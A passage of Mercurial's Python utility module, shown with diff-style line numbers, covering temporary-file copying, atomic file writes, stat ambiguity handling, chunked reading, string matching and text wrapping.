1828 1820 dir = os.path.join(dir, part)
1829 1821
1830 1822 return ''.join(result)
1831 1823
1832 1824 def checknlink(testfile):
1833 1825 '''check whether hardlink count reporting works properly'''
1834 1826
1835 1827 # testfile may be open, so we need a separate file for checking to
1836 1828 # work around issue2543 (or testfile may get lost on Samba shares)
1837 1829 f1, f2, fp = None, None, None
1838 1830 try:
1839 1831 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1840 1832 suffix='1~', dir=os.path.dirname(testfile))
1841 1833 os.close(fd)
1842 1834 f2 = '%s2~' % f1[:-2]
1843 1835
1844 1836 oslink(f1, f2)
1845 1837 # nlinks() may behave differently for files on Windows shares if
1846 1838 # the file is open.
1847 1839 fp = posixfile(f2)
1848 1840 return nlinks(f2) > 1
1849 1841 except OSError:
1850 1842 return False
1851 1843 finally:
1852 1844 if fp is not None:
1853 1845 fp.close()
1854 1846 for f in (f1, f2):
1855 1847 try:
1856 1848 if f is not None:
1857 1849 os.unlink(f)
1858 1850 except OSError:
1859 1851 pass
1860 1852
1861 1853 def endswithsep(path):
1862 1854 '''Check path ends with os.sep or os.altsep.'''
1863 1855 return (path.endswith(pycompat.ossep)
1864 1856 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1865 1857
1866 1858 def splitpath(path):
1867 1859 '''Split path by os.sep.
1868 1860 Note that this function does not use os.altsep because this is
1869 1861 an alternative of simple "xxx.split(os.sep)".
1870 1862 It is recommended to use os.path.normpath() before using this
1871 1863 function if need.'''
1872 1864 return path.split(pycompat.ossep)
1873 1865
1874 1866 def gui():
1875 1867 '''Are we running in a GUI?'''
1876 1868 if pycompat.isdarwin:
1877 1869 if 'SSH_CONNECTION' in encoding.environ:
1878 1870 # handle SSH access to a box where the user is logged in
1879 1871 return False
1880 1872 elif getattr(osutil, 'isgui', None):
1881 1873 # check if a CoreGraphics session is available
1882 1874 return osutil.isgui()
1883 1875 else:
1884 1876 # pure build; use a safe default
1885 1877 return True
1886 1878 else:
1887 1879 return pycompat.iswindows or encoding.environ.get("DISPLAY")
1888 1880
1889 1881 def mktempcopy(name, emptyok=False, createmode=None):
1890 1882 """Create a temporary file with the same contents from name
1891 1883
1892 1884 The permission bits are copied from the original file.
1893 1885
1894 1886 If the temporary file is going to be truncated immediately, you
1895 1887 can use emptyok=True as an optimization.
1896 1888
1897 1889 Returns the name of the temporary file.
1898 1890 """
1899 1891 d, fn = os.path.split(name)
1900 1892 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1901 1893 os.close(fd)
1902 1894 # Temporary files are created with mode 0600, which is usually not
1903 1895 # what we want. If the original file already exists, just copy
1904 1896 # its mode. Otherwise, manually obey umask.
1905 1897 copymode(name, temp, createmode)
1906 1898 if emptyok:
1907 1899 return temp
1908 1900 try:
1909 1901 try:
1910 1902 ifp = posixfile(name, "rb")
1911 1903 except IOError as inst:
1912 1904 if inst.errno == errno.ENOENT:
1913 1905 return temp
1914 1906 if not getattr(inst, 'filename', None):
1915 1907 inst.filename = name
1916 1908 raise
1917 1909 ofp = posixfile(temp, "wb")
1918 1910 for chunk in filechunkiter(ifp):
1919 1911 ofp.write(chunk)
1920 1912 ifp.close()
1921 1913 ofp.close()
1922 1914 except: # re-raises
1923 1915 try:
1924 1916 os.unlink(temp)
1925 1917 except OSError:
1926 1918 pass
1927 1919 raise
1928 1920 return temp
1929 1921
1930 1922 class filestat(object):
1931 1923 """help to exactly detect change of a file
1932 1924
1933 1925 'stat' attribute is result of 'os.stat()' if specified 'path'
1934 1926 exists. Otherwise, it is None. This can avoid preparative
1935 1927 'exists()' examination on client side of this class.
1936 1928 """
1937 1929 def __init__(self, stat):
1938 1930 self.stat = stat
1939 1931
1940 1932 @classmethod
1941 1933 def frompath(cls, path):
1942 1934 try:
1943 1935 stat = os.stat(path)
1944 1936 except OSError as err:
1945 1937 if err.errno != errno.ENOENT:
1946 1938 raise
1947 1939 stat = None
1948 1940 return cls(stat)
1949 1941
1950 1942 @classmethod
1951 1943 def fromfp(cls, fp):
1952 1944 stat = os.fstat(fp.fileno())
1953 1945 return cls(stat)
1954 1946
1955 1947 __hash__ = object.__hash__
1956 1948
1957 1949 def __eq__(self, old):
1958 1950 try:
1959 1951 # if ambiguity between stat of new and old file is
1960 1952 # avoided, comparison of size, ctime and mtime is enough
1961 1953 # to exactly detect change of a file regardless of platform
1962 1954 return (self.stat.st_size == old.stat.st_size and
1963 1955 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1964 1956 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1965 1957 except AttributeError:
1966 1958 pass
1967 1959 try:
1968 1960 return self.stat is None and old.stat is None
1969 1961 except AttributeError:
1970 1962 return False
1971 1963
1972 1964 def isambig(self, old):
1973 1965 """Examine whether new (= self) stat is ambiguous against old one
1974 1966
1975 1967 "S[N]" below means stat of a file at N-th change:
1976 1968
1977 1969 - S[n-1].ctime < S[n].ctime: can detect change of a file
1978 1970 - S[n-1].ctime == S[n].ctime
1979 1971 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1980 1972 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1981 1973 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1982 1974 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1983 1975
1984 1976 Case (*2) above means that a file was changed twice or more at
1985 1977 same time in sec (= S[n-1].ctime), and comparison of timestamp
1986 1978 is ambiguous.
1987 1979
1988 1980 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1989 1981 timestamp is ambiguous".
1990 1982
1991 1983 But advancing mtime only in case (*2) doesn't work as
1992 1984 expected, because naturally advanced S[n].mtime in case (*1)
1993 1985 might be equal to manually advanced S[n-1 or earlier].mtime.
1994 1986
1995 1987 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1996 1988 treated as ambiguous regardless of mtime, to avoid overlooking
1997 1989 by confliction between such mtime.
1998 1990
1999 1991 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2000 1992 S[n].mtime", even if size of a file isn't changed.
2001 1993 """
2002 1994 try:
2003 1995 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2004 1996 except AttributeError:
2005 1997 return False
2006 1998
2007 1999 def avoidambig(self, path, old):
2008 2000 """Change file stat of specified path to avoid ambiguity
2009 2001
2010 2002 'old' should be previous filestat of 'path'.
2011 2003
2012 2004 This skips avoiding ambiguity, if a process doesn't have
2013 2005 appropriate privileges for 'path'. This returns False in this
2014 2006 case.
2015 2007
2016 2008 Otherwise, this returns True, as "ambiguity is avoided".
2017 2009 """
2018 2010 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2019 2011 try:
2020 2012 os.utime(path, (advanced, advanced))
2021 2013 except OSError as inst:
2022 2014 if inst.errno == errno.EPERM:
2023 2015 # utime() on the file created by another user causes EPERM,
2024 2016 # if a process doesn't have appropriate privileges
2025 2017 return False
2026 2018 raise
2027 2019 return True
2028 2020
2029 2021 def __ne__(self, other):
2030 2022 return not self == other
2031 2023
2032 2024 class atomictempfile(object):
2033 2025 '''writable file object that atomically updates a file
2034 2026
2035 2027 All writes will go to a temporary copy of the original file. Call
2036 2028 close() when you are done writing, and atomictempfile will rename
2037 2029 the temporary copy to the original name, making the changes
2038 2030 visible. If the object is destroyed without being closed, all your
2039 2031 writes are discarded.
2040 2032
2041 2033 checkambig argument of constructor is used with filestat, and is
2042 2034 useful only if target file is guarded by any lock (e.g. repo.lock
2043 2035 or repo.wlock).
2044 2036 '''
2045 2037 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2046 2038 self.__name = name # permanent name
2047 2039 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2048 2040 createmode=createmode)
2049 2041 self._fp = posixfile(self._tempname, mode)
2050 2042 self._checkambig = checkambig
2051 2043
2052 2044 # delegated methods
2053 2045 self.read = self._fp.read
2054 2046 self.write = self._fp.write
2055 2047 self.seek = self._fp.seek
2056 2048 self.tell = self._fp.tell
2057 2049 self.fileno = self._fp.fileno
2058 2050
2059 2051 def close(self):
2060 2052 if not self._fp.closed:
2061 2053 self._fp.close()
2062 2054 filename = localpath(self.__name)
2063 2055 oldstat = self._checkambig and filestat.frompath(filename)
2064 2056 if oldstat and oldstat.stat:
2065 2057 rename(self._tempname, filename)
2066 2058 newstat = filestat.frompath(filename)
2067 2059 if newstat.isambig(oldstat):
2068 2060 # stat of changed file is ambiguous to original one
2069 2061 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2070 2062 os.utime(filename, (advanced, advanced))
2071 2063 else:
2072 2064 rename(self._tempname, filename)
2073 2065
2074 2066 def discard(self):
2075 2067 if not self._fp.closed:
2076 2068 try:
2077 2069 os.unlink(self._tempname)
2078 2070 except OSError:
2079 2071 pass
2080 2072 self._fp.close()
2081 2073
2082 2074 def __del__(self):
2083 2075 if safehasattr(self, '_fp'): # constructor actually did something
2084 2076 self.discard()
2085 2077
2086 2078 def __enter__(self):
2087 2079 return self
2088 2080
2089 2081 def __exit__(self, exctype, excvalue, traceback):
2090 2082 if exctype is not None:
2091 2083 self.discard()
2092 2084 else:
2093 2085 self.close()
2094 2086
2095 2087 def unlinkpath(f, ignoremissing=False):
2096 2088 """unlink and remove the directory if it is empty"""
2097 2089 if ignoremissing:
2098 2090 tryunlink(f)
2099 2091 else:
2100 2092 unlink(f)
2101 2093 # try removing directories that might now be empty
2102 2094 try:
2103 2095 removedirs(os.path.dirname(f))
2104 2096 except OSError:
2105 2097 pass
2106 2098
2107 2099 def tryunlink(f):
2108 2100 """Attempt to remove a file, ignoring ENOENT errors."""
2109 2101 try:
2110 2102 unlink(f)
2111 2103 except OSError as e:
2112 2104 if e.errno != errno.ENOENT:
2113 2105 raise
2114 2106
2115 2107 def makedirs(name, mode=None, notindexed=False):
2116 2108 """recursive directory creation with parent mode inheritance
2117 2109
2118 2110 Newly created directories are marked as "not to be indexed by
2119 2111 the content indexing service", if ``notindexed`` is specified
2120 2112 for "write" mode access.
2121 2113 """
2122 2114 try:
2123 2115 makedir(name, notindexed)
2124 2116 except OSError as err:
2125 2117 if err.errno == errno.EEXIST:
2126 2118 return
2127 2119 if err.errno != errno.ENOENT or not name:
2128 2120 raise
2129 2121 parent = os.path.dirname(os.path.abspath(name))
2130 2122 if parent == name:
2131 2123 raise
2132 2124 makedirs(parent, mode, notindexed)
2133 2125 try:
2134 2126 makedir(name, notindexed)
2135 2127 except OSError as err:
2136 2128 # Catch EEXIST to handle races
2137 2129 if err.errno == errno.EEXIST:
2138 2130 return
2139 2131 raise
2140 2132 if mode is not None:
2141 2133 os.chmod(name, mode)
2142 2134
2143 2135 def readfile(path):
2144 2136 with open(path, 'rb') as fp:
2145 2137 return fp.read()
2146 2138
2147 2139 def writefile(path, text):
2148 2140 with open(path, 'wb') as fp:
2149 2141 fp.write(text)
2150 2142
2151 2143 def appendfile(path, text):
2152 2144 with open(path, 'ab') as fp:
2153 2145 fp.write(text)
2154 2146
2155 2147 class chunkbuffer(object):
2156 2148 """Allow arbitrary sized chunks of data to be efficiently read from an
2157 2149 iterator over chunks of arbitrary size."""
2158 2150
2159 2151 def __init__(self, in_iter):
2160 2152 """in_iter is the iterator that's iterating over the input chunks."""
2161 2153 def splitbig(chunks):
2162 2154 for chunk in chunks:
2163 2155 if len(chunk) > 2**20:
2164 2156 pos = 0
2165 2157 while pos < len(chunk):
2166 2158 end = pos + 2 ** 18
2167 2159 yield chunk[pos:end]
2168 2160 pos = end
2169 2161 else:
2170 2162 yield chunk
2171 2163 self.iter = splitbig(in_iter)
2172 2164 self._queue = collections.deque()
2173 2165 self._chunkoffset = 0
2174 2166
2175 2167 def read(self, l=None):
2176 2168 """Read L bytes of data from the iterator of chunks of data.
2177 2169 Returns less than L bytes if the iterator runs dry.
2178 2170
2179 2171 If size parameter is omitted, read everything"""
2180 2172 if l is None:
2181 2173 return ''.join(self.iter)
2182 2174
2183 2175 left = l
2184 2176 buf = []
2185 2177 queue = self._queue
2186 2178 while left > 0:
2187 2179 # refill the queue
2188 2180 if not queue:
2189 2181 target = 2**18
2190 2182 for chunk in self.iter:
2191 2183 queue.append(chunk)
2192 2184 target -= len(chunk)
2193 2185 if target <= 0:
2194 2186 break
2195 2187 if not queue:
2196 2188 break
2197 2189
2198 2190 # The easy way to do this would be to queue.popleft(), modify the
2199 2191 # chunk (if necessary), then queue.appendleft(). However, for cases
2200 2192 # where we read partial chunk content, this incurs 2 dequeue
2201 2193 # mutations and creates a new str for the remaining chunk in the
2202 2194 # queue. Our code below avoids this overhead.
2203 2195
2204 2196 chunk = queue[0]
2205 2197 chunkl = len(chunk)
2206 2198 offset = self._chunkoffset
2207 2199
2208 2200 # Use full chunk.
2209 2201 if offset == 0 and left >= chunkl:
2210 2202 left -= chunkl
2211 2203 queue.popleft()
2212 2204 buf.append(chunk)
2213 2205 # self._chunkoffset remains at 0.
2214 2206 continue
2215 2207
2216 2208 chunkremaining = chunkl - offset
2217 2209
2218 2210 # Use all of unconsumed part of chunk.
2219 2211 if left >= chunkremaining:
2220 2212 left -= chunkremaining
2221 2213 queue.popleft()
2222 2214 # offset == 0 is enabled by block above, so this won't merely
2223 2215 # copy via ``chunk[0:]``.
2224 2216 buf.append(chunk[offset:])
2225 2217 self._chunkoffset = 0
2226 2218
2227 2219 # Partial chunk needed.
2228 2220 else:
2229 2221 buf.append(chunk[offset:offset + left])
2230 2222 self._chunkoffset += left
2231 2223 left -= chunkremaining
2232 2224
2233 2225 return ''.join(buf)
2234 2226
2235 2227 def filechunkiter(f, size=131072, limit=None):
2236 2228 """Create a generator that produces the data in the file size
2237 2229 (default 131072) bytes at a time, up to optional limit (default is
2238 2230 to read all data). Chunks may be less than size bytes if the
2239 2231 chunk is the last chunk in the file, or the file is a socket or
2240 2232 some other type of file that sometimes reads less data than is
2241 2233 requested."""
2242 2234 assert size >= 0
2243 2235 assert limit is None or limit >= 0
2244 2236 while True:
2245 2237 if limit is None:
2246 2238 nbytes = size
2247 2239 else:
2248 2240 nbytes = min(limit, size)
2249 2241 s = nbytes and f.read(nbytes)
2250 2242 if not s:
2251 2243 break
2252 2244 if limit:
2253 2245 limit -= len(s)
2254 2246 yield s
2255 2247
2256 2248 class cappedreader(object):
2257 2249 """A file object proxy that allows reading up to N bytes.
2258 2250
2259 2251 Given a source file object, instances of this type allow reading up to
2260 2252 N bytes from that source file object. Attempts to read past the allowed
2261 2253 limit are treated as EOF.
2262 2254
2263 2255 It is assumed that I/O is not performed on the original file object
2264 2256 in addition to I/O that is performed by this instance. If there is,
2265 2257 state tracking will get out of sync and unexpected results will ensue.
2266 2258 """
2267 2259 def __init__(self, fh, limit):
2268 2260 """Allow reading up to <limit> bytes from <fh>."""
2269 2261 self._fh = fh
2270 2262 self._left = limit
2271 2263
2272 2264 def read(self, n=-1):
2273 2265 if not self._left:
2274 2266 return b''
2275 2267
2276 2268 if n < 0:
2277 2269 n = self._left
2278 2270
2279 2271 data = self._fh.read(min(n, self._left))
2280 2272 self._left -= len(data)
2281 2273 assert self._left >= 0
2282 2274
2283 2275 return data
2284 2276
2285 2277 def stringmatcher(pattern, casesensitive=True):
2286 2278 """
2287 2279 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2288 2280 returns the matcher name, pattern, and matcher function.
2289 2281 missing or unknown prefixes are treated as literal matches.
2290 2282
2291 2283 helper for tests:
2292 2284 >>> def test(pattern, *tests):
2293 2285 ... kind, pattern, matcher = stringmatcher(pattern)
2294 2286 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2295 2287 >>> def itest(pattern, *tests):
2296 2288 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2297 2289 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2298 2290
2299 2291 exact matching (no prefix):
2300 2292 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2301 2293 ('literal', 'abcdefg', [False, False, True])
2302 2294
2303 2295 regex matching ('re:' prefix)
2304 2296 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2305 2297 ('re', 'a.+b', [False, False, True])
2306 2298
2307 2299 force exact matches ('literal:' prefix)
2308 2300 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2309 2301 ('literal', 're:foobar', [False, True])
2310 2302
2311 2303 unknown prefixes are ignored and treated as literals
2312 2304 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2313 2305 ('literal', 'foo:bar', [False, False, True])
2314 2306
2315 2307 case insensitive regex matches
2316 2308 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2317 2309 ('re', 'A.+b', [False, False, True])
2318 2310
2319 2311 case insensitive literal matches
2320 2312 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2321 2313 ('literal', 'ABCDEFG', [False, False, True])
2322 2314 """
2323 2315 if pattern.startswith('re:'):
2324 2316 pattern = pattern[3:]
2325 2317 try:
2326 2318 flags = 0
2327 2319 if not casesensitive:
2328 2320 flags = remod.I
2329 2321 regex = remod.compile(pattern, flags)
2330 2322 except remod.error as e:
2331 2323 raise error.ParseError(_('invalid regular expression: %s')
2332 2324 % e)
2333 2325 return 're', pattern, regex.search
2334 2326 elif pattern.startswith('literal:'):
2335 2327 pattern = pattern[8:]
2336 2328
2337 2329 match = pattern.__eq__
2338 2330
2339 2331 if not casesensitive:
2340 2332 ipat = encoding.lower(pattern)
2341 2333 match = lambda s: ipat == encoding.lower(s)
2342 2334 return 'literal', pattern, match
2343 2335
2344 2336 def shortuser(user):
2345 2337 """Return a short representation of a user name or email address."""
2346 2338 f = user.find('@')
2347 2339 if f >= 0:
2348 2340 user = user[:f]
2349 2341 f = user.find('<')
2350 2342 if f >= 0:
2351 2343 user = user[f + 1:]
2352 2344 f = user.find(' ')
2353 2345 if f >= 0:
2354 2346 user = user[:f]
2355 2347 f = user.find('.')
2356 2348 if f >= 0:
2357 2349 user = user[:f]
2358 2350 return user
2359 2351
2360 2352 def emailuser(user):
2361 2353 """Return the user portion of an email address."""
2362 2354 f = user.find('@')
2363 2355 if f >= 0:
2364 2356 user = user[:f]
2365 2357 f = user.find('<')
2366 2358 if f >= 0:
2367 2359 user = user[f + 1:]
2368 2360 return user
2369 2361
2370 2362 def email(author):
2371 2363 '''get email of author.'''
2372 2364 r = author.find('>')
2373 2365 if r == -1:
2374 2366 r = None
2375 2367 return author[author.find('<') + 1:r]
2376 2368
2377 2369 def ellipsis(text, maxlength=400):
2378 2370 """Trim string to at most maxlength (default: 400) columns in display."""
2379 2371 return encoding.trim(text, maxlength, ellipsis='...')
2380 2372
2381 2373 def unitcountfn(*unittable):
2382 2374 '''return a function that renders a readable count of some quantity'''
2383 2375
2384 2376 def go(count):
2385 2377 for multiplier, divisor, format in unittable:
2386 2378 if abs(count) >= divisor * multiplier:
2387 2379 return format % (count / float(divisor))
2388 2380 return unittable[-1][2] % count
2389 2381
2390 2382 return go
2391 2383
2392 2384 def processlinerange(fromline, toline):
2393 2385 """Check that linerange <fromline>:<toline> makes sense and return a
2394 2386 0-based range.
2395 2387
2396 2388 >>> processlinerange(10, 20)
2397 2389 (9, 20)
2398 2390 >>> processlinerange(2, 1)
2399 2391 Traceback (most recent call last):
2400 2392 ...
2401 2393 ParseError: line range must be positive
2402 2394 >>> processlinerange(0, 5)
2403 2395 Traceback (most recent call last):
2404 2396 ...
2405 2397 ParseError: fromline must be strictly positive
2406 2398 """
2407 2399 if toline - fromline < 0:
2408 2400 raise error.ParseError(_("line range must be positive"))
2409 2401 if fromline < 1:
2410 2402 raise error.ParseError(_("fromline must be strictly positive"))
2411 2403 return fromline - 1, toline
2412 2404
2413 2405 bytecount = unitcountfn(
2414 2406 (100, 1 << 30, _('%.0f GB')),
2415 2407 (10, 1 << 30, _('%.1f GB')),
2416 2408 (1, 1 << 30, _('%.2f GB')),
2417 2409 (100, 1 << 20, _('%.0f MB')),
2418 2410 (10, 1 << 20, _('%.1f MB')),
2419 2411 (1, 1 << 20, _('%.2f MB')),
2420 2412 (100, 1 << 10, _('%.0f KB')),
2421 2413 (10, 1 << 10, _('%.1f KB')),
2422 2414 (1, 1 << 10, _('%.2f KB')),
2423 2415 (1, 1, _('%.0f bytes')),
2424 2416 )
2425 2417
2426 2418 # Matches a single EOL which can either be a CRLF where repeated CR
2427 2419 # are removed or a LF. We do not care about old Macintosh files, so a
2428 2420 # stray CR is an error.
2429 2421 _eolre = remod.compile(br'\r*\n')
2430 2422
2431 2423 def tolf(s):
2432 2424 return _eolre.sub('\n', s)
2433 2425
2434 2426 def tocrlf(s):
2435 2427 return _eolre.sub('\r\n', s)
2436 2428
2437 2429 if pycompat.oslinesep == '\r\n':
2438 2430 tonativeeol = tocrlf
2439 2431 fromnativeeol = tolf
2440 2432 else:
2441 2433 tonativeeol = pycompat.identity
2442 2434 fromnativeeol = pycompat.identity
2443 2435
2444 2436 def escapestr(s):
2445 2437 # call underlying function of s.encode('string_escape') directly for
2446 2438 # Python 3 compatibility
2447 2439 return codecs.escape_encode(s)[0]
2448 2440
2449 2441 def unescapestr(s):
2450 2442 return codecs.escape_decode(s)[0]
2451 2443
2452 2444 def forcebytestr(obj):
2453 2445 """Portably format an arbitrary object (e.g. exception) into a byte
2454 2446 string."""
2455 2447 try:
2456 2448 return pycompat.bytestr(obj)
2457 2449 except UnicodeEncodeError:
2458 2450 # non-ascii string, may be lossy
2459 2451 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2460 2452
2461 2453 def uirepr(s):
2462 2454 # Avoid double backslash in Windows path repr()
2463 2455 return pycompat.byterepr(pycompat.bytestr(s)).replace(b'\\\\', b'\\')
2464 2456
2465 2457 # delay import of textwrap
2466 2458 def MBTextWrapper(**kwargs):
2467 2459 class tw(textwrap.TextWrapper):
2468 2460 """
2469 2461 Extend TextWrapper for width-awareness.
2470 2462
2471 2463 Neither number of 'bytes' in any encoding nor 'characters' is
2472 2464 appropriate to calculate terminal columns for specified string.
2473 2465
2474 2466 Original TextWrapper implementation uses built-in 'len()' directly,
2475 2467 so overriding is needed to use width information of each characters.
2476 2468
2477 2469 In addition, characters classified into 'ambiguous' width are
2478 2470 treated as wide in East Asian area, but as narrow in other.
2479 2471
2480 2472 This requires use decision to determine width of such characters.
2481 2473 """
2482 2474 def _cutdown(self, ucstr, space_left):
2483 2475 l = 0
2484 2476 colwidth = encoding.ucolwidth
2485 2477 for i in xrange(len(ucstr)):
2486 2478 l += colwidth(ucstr[i])
2487 2479 if space_left < l:
2488 2480 return (ucstr[:i], ucstr[i:])
2489 2481 return ucstr, ''
2490 2482
2491 2483 # overriding of base class
2492 2484 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2493 2485 space_left = max(width - cur_len, 1)
2494 2486
2495 2487 if self.break_long_words:
2496 2488 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2497 2489 cur_line.append(cut)
2498 2490 reversed_chunks[-1] = res
2499 2491 elif not cur_line:
2500 2492 cur_line.append(reversed_chunks.pop())
2501 2493
2502 2494 # this overriding code is imported from TextWrapper of Python 2.6
2503 2495 # to calculate columns of string by 'encoding.ucolwidth()'
2504 2496 def _wrap_chunks(self, chunks):
2505 2497 colwidth = encoding.ucolwidth
2506 2498
2507 2499 lines = []
2508 2500 if self.width <= 0:
2509 2501 raise ValueError("invalid width %r (must be > 0)" % self.width)
2510 2502
2511 2503 # Arrange in reverse order so items can be efficiently popped
2512 2504 # from a stack of chucks.
2513 2505 chunks.reverse()
2514 2506
2515 2507 while chunks:
2516 2508
2517 2509 # Start the list of chunks that will make up the current line.
2518 2510 # cur_len is just the length of all the chunks in cur_line.
2519 2511 cur_line = []
2520 2512 cur_len = 0
2521 2513
2522 2514 # Figure out which static string will prefix this line.
2523 2515 if lines:
2524 2516 indent = self.subsequent_indent
2525 2517 else:
2526 2518 indent = self.initial_indent
2527 2519
2528 2520 # Maximum width for this line.
2529 2521 width = self.width - len(indent)
2530 2522
2531 2523 # First chunk on line is whitespace -- drop it, unless this
2532 2524 # is the very beginning of the text (i.e. no lines started yet).
2533 2525 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2534 2526 del chunks[-1]
2535 2527
2536 2528 while chunks:
2537 2529 l = colwidth(chunks[-1])
2538 2530
2539 2531 # Can at least squeeze this chunk onto the current line.
2540 2532 if cur_len + l <= width:
2541 2533 cur_line.append(chunks.pop())
2542 2534 cur_len += l
2543 2535
2544 2536 # Nope, this line is full.
2545 2537 else:
2546 2538 break
2547 2539
2548 2540 # The current line is full, and the next chunk is too big to
2549 2541 # fit on *any* line (not just this one).
2550 2542 if chunks and colwidth(chunks[-1]) > width:
2551 2543 self._handle_long_word(chunks, cur_line, cur_len, width)
2552 2544
2553 2545 # If the last chunk on this line is all whitespace, drop it.
2554 2546 if (self.drop_whitespace and
2555 2547 cur_line and cur_line[-1].strip() == r''):
2556 2548 del cur_line[-1]
2557 2549
2558 2550 # Convert current line back to a string and store it in list
2559 2551 # of all lines (return value).
2560 2552 if cur_line:
2561 2553 lines.append(indent + r''.join(cur_line))
2562 2554
2563 2555 return lines
2564 2556
2565 2557 global MBTextWrapper
2566 2558 MBTextWrapper = tw
2567 2559 return tw(**kwargs)
2568 2560
2569 2561 def wrap(line, width, initindent='', hangindent=''):
2570 2562 maxindent = max(len(hangindent), len(initindent))
2571 2563 if width <= maxindent:
2572 2564 # adjust for weird terminal size
2573 2565 width = max(78, maxindent + 1)
2574 2566 line = line.decode(pycompat.sysstr(encoding.encoding),
2575 2567 pycompat.sysstr(encoding.encodingmode))
2576 2568 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2577 2569 pycompat.sysstr(encoding.encodingmode))
2578 2570 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2579 2571 pycompat.sysstr(encoding.encodingmode))
2580 2572 wrapper = MBTextWrapper(width=width,
2581 2573 initial_indent=initindent,
2582 2574 subsequent_indent=hangindent)
2583 2575 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2584 2576
2585 2577 if (pyplatform.python_implementation() == 'CPython' and
2586 2578 sys.version_info < (3, 0)):
2587 2579 # There is an issue in CPython that some IO methods do not handle EINTR
2588 2580 # correctly. The following table shows what CPython version (and functions)
2589 2581 # are affected (buggy: has the EINTR bug, okay: otherwise):
2590 2582 #
2591 2583 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2592 2584 # --------------------------------------------------
2593 2585 # fp.__iter__ | buggy | buggy | okay
2594 2586 # fp.read* | buggy | okay [1] | okay
2595 2587 #
2596 2588 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2597 2589 #
2598 2590 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2599 2591 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2600 2592 #
2601 2593 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2602 2594 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2603 2595 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2604 2596 # fp.__iter__ but not other fp.read* methods.
2605 2597 #
2606 2598 # On modern systems like Linux, the "read" syscall cannot be interrupted
2607 2599 # when reading "fast" files like on-disk files. So the EINTR issue only
2608 2600 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2609 2601 # files approximately as "fast" files and use the fast (unsafe) code path,
2610 2602 # to minimize the performance impact.
2611 2603 if sys.version_info >= (2, 7, 4):
2612 2604 # fp.readline deals with EINTR correctly, use it as a workaround.
2613 2605 def _safeiterfile(fp):
2614 2606 return iter(fp.readline, '')
2615 2607 else:
2616 2608 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2617 2609 # note: this may block longer than necessary because of bufsize.
2618 2610 def _safeiterfile(fp, bufsize=4096):
2619 2611 fd = fp.fileno()
2620 2612 line = ''
2621 2613 while True:
2622 2614 try:
2623 2615 buf = os.read(fd, bufsize)
2624 2616 except OSError as ex:
2625 2617 # os.read only raises EINTR before any data is read
2626 2618 if ex.errno == errno.EINTR:
2627 2619 continue
2628 2620 else:
2629 2621 raise
2630 2622 line += buf
2631 2623 if '\n' in buf:
2632 2624 splitted = line.splitlines(True)
2633 2625 line = ''
2634 2626 for l in splitted:
2635 2627 if l[-1] == '\n':
2636 2628 yield l
2637 2629 else:
2638 2630 line = l
2639 2631 if not buf:
2640 2632 break
2641 2633 if line:
2642 2634 yield line
2643 2635
2644 2636 def iterfile(fp):
2645 2637 fastpath = True
2646 2638 if type(fp) is file:
2647 2639 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2648 2640 if fastpath:
2649 2641 return fp
2650 2642 else:
2651 2643 return _safeiterfile(fp)
2652 2644 else:
2653 2645 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2654 2646 def iterfile(fp):
2655 2647 return fp
2656 2648
2657 2649 def iterlines(iterator):
2658 2650 for chunk in iterator:
2659 2651 for line in chunk.splitlines():
2660 2652 yield line
2661 2653
2662 2654 def expandpath(path):
2663 2655 return os.path.expanduser(os.path.expandvars(path))
2664 2656
2665 2657 def hgcmd():
2666 2658 """Return the command used to execute current hg
2667 2659
2668 2660 This is different from hgexecutable() because on Windows we want
2669 2661 to avoid things opening new shell windows like batch files, so we
2670 2662 get either the python call or current executable.
2671 2663 """
2672 2664 if mainfrozen():
2673 2665 if getattr(sys, 'frozen', None) == 'macosx_app':
2674 2666 # Env variable set by py2app
2675 2667 return [encoding.environ['EXECUTABLEPATH']]
2676 2668 else:
2677 2669 return [pycompat.sysexecutable]
2678 2670 return gethgcmd()
2679 2671
2680 2672 def rundetached(args, condfn):
